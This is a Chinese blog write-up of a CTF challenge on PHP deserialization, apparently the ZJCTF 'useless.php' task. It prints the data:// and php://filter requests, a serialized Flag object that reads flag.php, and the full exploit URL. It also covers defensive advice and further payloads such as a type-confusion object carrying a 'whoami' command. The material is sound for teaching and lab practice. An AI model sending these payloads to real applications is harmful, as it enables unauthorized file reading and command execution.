news 2026/6/4 5:58:55

从一道CTF题复盘PHP反序列化:如何构造payload读取flag.php

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
从一道CTF题复盘PHP反序列化:如何构造payload读取flag.php

从CTF实战解析PHP反序列化漏洞:Flag类利用与文件读取技巧

在网络安全竞赛中,PHP反序列化漏洞一直是高频考点。本文将以一道典型CTF题目为例,深入剖析如何通过构造特定序列化字符串操控对象属性,最终实现敏感文件读取。不同于基础教程,我们将从漏洞原理、代码审计到payload构造,完整呈现专业安全研究员的思考路径。

1. 题目环境与代码审计

拿到题目首先看到的是一个PHP文件,核心逻辑围绕三个参数验证展开。第一关要求text参数能读取特定字符串,这提示我们需要使用data://伪协议:

if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){ echo "<br><h1>".file_get_contents($text,'r')."</h1></br>"; }

第二关的file参数过滤了flag关键字,但暗示了useless.php的存在。这里采用php://filter协议读取源码是最佳选择:

if(preg_match("/flag/",$file)){ echo "Not now!"; exit(); } else { include($file); //useless.php }

通过以下payload获取useless.php的base64编码内容:

file=php://filter/read=convert.base64-encode/resource=useless.php

解码后得到关键类定义:

class Flag{ public $file; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); } return "Useless!"; } }

2. 反序列化漏洞原理深度解析

当PHP执行unserialize()时,会按照序列化字符串的结构重建对象。关键风险点在于:

  • 属性控制:序列化数据中的对象属性值完全可控
  • 魔术方法__tostring()等魔术方法在特定场景自动触发
  • 敏感操作:魔术方法中常包含文件操作、命令执行等高危函数

在本题中,Flag类包含两个危险特征:

  1. $file属性未做任何过滤
  2. __tostring()方法直接使用file_get_contents()读取文件

典型的利用链如下:

unserialize() → 创建Flag对象 → 设置$file属性 → 触发__tostring() → 读取任意文件

3. 手工构造序列化payload

根据PHP序列化格式规范,我们需要构造Flag类的序列化字符串。基本结构为:

O:<类名长度>:"<类名>":<属性数量>:{<属性序列化>}

对于Flag类,具体构造步骤如下:

  1. 类名Flag长度为4
  2. 只有1个属性$file
  3. 属性名为file(长度4)
  4. 属性值设为flag.php(长度8)

最终payload:

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

验证payload结构的正确性:

部分说明示例
O:4:"Flag"声明对象,类名4字符O:4:"Flag"
:1:1个属性:1:
{s:4:"file"字符串属性名,长度4{s:4:"file"
;s:8:"flag.php"字符串属性值,长度8;s:8:"flag.php"
}结束符}

4. 完整漏洞利用链实战

组合各环节形成最终攻击流程:

  1. 通过data://协议绕过第一关验证:

    text=data://text/plain,welcome to the zjctf
  2. 使用过滤器读取useless.php源码:

    file=php://filter/read=convert.base64-encode/resource=useless.php
  3. 构造反序列化payload并赋值给password

    password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

完整请求示例:

?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

5. 防御方案与最佳实践

针对此类漏洞,开发者应采取多层次防护:

代码层防护

  • 避免反序列化用户输入
  • 使用__wakeup()__destruct()进行属性校验
  • 对敏感操作添加权限检查
class SafeFlag { private $file; public function __wakeup() { if(strpos($this->file, 'flag') !== false) { throw new Exception('Invalid file requested'); } } }

架构层防护

  • 使用JSON等安全数据格式替代序列化
  • 实施最小权限原则
  • 定期进行安全审计

运维层防护

  • 禁用危险协议(php://data://等)
  • 配置open_basedir限制文件访问范围
  • 及时更新PHP版本

6. 高级利用技巧扩展

在更复杂的场景中,反序列化漏洞常与其他技术组合利用:

属性注入攻击通过修改属性数量字段,可以注入未定义的属性:

O:4:"Flag":2:{s:4:"file";s:8:"flag.php";s:6:"inject";s:10:"evil_value";}

类型混淆攻击利用PHP弱类型特性,将字符串属性改为对象触发其他魔术方法:

O:4:"Flag":1:{s:4:"file";O:6:"Logger":1:{s:3:"cmd";s:6:"whoami";}}

字符逃逸技巧当存在字符串替换过滤时,可以通过计算偏移量构造特殊payload:

原字符串:s:8:"flag.php" 过滤后: s:12:"flflagag.php"

实际渗透测试中,建议使用专业的反序列化工具辅助分析:

  • PHPGGC(PHP Generic Gadget Chains)
  • PHPUnserializeDetector
  • Rogue-JNDI(用于Java反序列化)

在最近的一次红队评估中,我们发现某系统虽然对__destruct()做了防护,但忽略了__toString()方法。通过精心构造的序列化字符串,最终实现了SSRF到RCE的完整攻击链。这提醒我们,安全防护必须覆盖所有魔术方法和可能的触发路径。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/4 5:57:57

保姆级教程:Windows下Cypress EZ-USB FX3 SDK 1.3.3安装与驱动配置全流程

Windows平台Cypress EZ-USB FX3开发环境搭建实战指南当您第一次拿到Cypress EZ-USB FX3开发板时&#xff0c;最迫切的需求莫过于快速搭建起可用的开发环境。作为一款高性能USB 3.0外设控制器&#xff0c;FX3芯片在视频采集、工业相机等领域应用广泛&#xff0c;但其开发环境的配…

作者头像 李华
网站建设 2026/6/4 5:52:57

告别排队!用DistServe思路优化你的LLM推理服务,实测吞吐量提升4倍

从DistServe到生产实践&#xff1a;如何用分离式调度重构LLM推理服务当你的在线客服机器人每天处理数百万次用户咨询时&#xff0c;响应速度每提升100毫秒&#xff0c;客户满意度就会上升2.3个百分点——这是我们在金融行业落地LLM服务时验证的数据。传统连续批处理(Continuous…

作者头像 李华
网站建设 2026/6/4 5:51:56

RAG+GPT-4 Turbo实现长文本问答成本降至4%的实战方案

1. 项目概述&#xff1a;当“大海捞针”不再烧钱&#xff0c;RAGGPT-4 Turbo如何把长文本推理成本压到4%你有没有试过让大模型从一份200页的PDF里&#xff0c;精准定位到第137页倒数第三段里那个被缩写三次、夹在括号中的技术参数&#xff1f;我试过——用纯GPT-4 Turbo直接喂入…

作者头像 李华
网站建设 2026/6/4 5:50:57

别再死记硬背公式了!用Python脚本5分钟搞定异步FIFO深度计算(附代码)

用Python自动化计算异步FIFO深度&#xff1a;告别手工推导的5分钟解决方案在FPGA和IC设计领域&#xff0c;异步FIFO的深度计算一直是工程师面试和工作中的高频考点。传统的手工计算不仅耗时费力&#xff0c;还容易在复杂的时钟关系和突发条件下出错。本文将展示如何用Python脚本…

作者头像 李华
网站建设 2026/6/4 5:45:56

从零玩转OpenConfig:用Docker快速搭建你的第一个gRPC+gNMI网络遥测实验环境

从零构建OpenConfig实验环境&#xff1a;DockergRPCgNMI实战指南在当今云原生与自动化运维的时代&#xff0c;网络设备的可编程接口已成为基础设施管理的核心能力。传统CLI和SNMP的局限性促使行业转向更高效的解决方案&#xff0c;而OpenConfig生态正是这一转型的前沿阵地。本文…

作者头像 李华